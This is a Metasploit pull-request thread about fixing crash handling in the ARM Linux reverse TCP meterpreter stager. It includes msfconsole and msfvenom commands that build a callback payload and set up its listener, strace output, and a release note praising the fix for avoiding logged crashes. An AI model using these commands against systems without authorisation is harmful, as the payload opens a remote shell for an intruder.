Add error handling to ARM linux reverse tcp stager

[tkmru]

I add error handling to arm linux reverse tcp stager. for Linux reverse_tcp stager segfaults when it can't connect · Issue #7722 · rapid7/metasploit-framework.

Verification

List the steps needed to make sure this thing works

• ./msfconsole -qx "use exploit/multi/handler; set payload linux/armle/meterpreter/reverse_tcp; set lhost IP_ADDR; set lport PORT_NUMBER; set ExitOnSession false; run -j"
• follow commands

$ ./msfvenom -p linux/armle/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=6666 -f elf -o ./reverse_tcp
$ sudo chmod +x ./reverse_tcp
$ strace ./reverse_tcp 
execve("./reverse_tcp", ["./reverse_tcp"], [/* 14 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(6666), sin_addr=inet_addr("192.168.0.1")}, 16) = -1 ETIMEDOUT (Connection timed out)
exit(1)                                 = ?

[timwr]

It's possible I'm doing something stupid but this isn't opening a valid session for me anymore (with the handler started):

execve("./elf", ["./elf"], [/* 14 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.0.1")}, 16) = 0
recv(3, "\210\0\0\0", 4, 0)             = 4
mmap2(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_EXECUTABLE, -1, 0) = 0xb6f0b000
exit(1)

It might also be worth also updating the original assembly here:
https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/linux/armle/stager_sock_reverse.s

[tkmru]

It's my misstake. sorry. I fix it later.

[busterb]

doesn't mmap return a pointer? you'd want a beq here I think, not a blt

[timwr]

Excellent work @tkmru many thanks 👍

[tkmru]

@timwr many thanks for supporting me.

[alrosenthal-r7]

Release Notes

This fix resolves inadequate error handling in the payloads/stagers/linux/armle/reverse_tcp module, which caused the module to crash. Every crash would be logged, so by avoiding crashes you can now use the module quietly.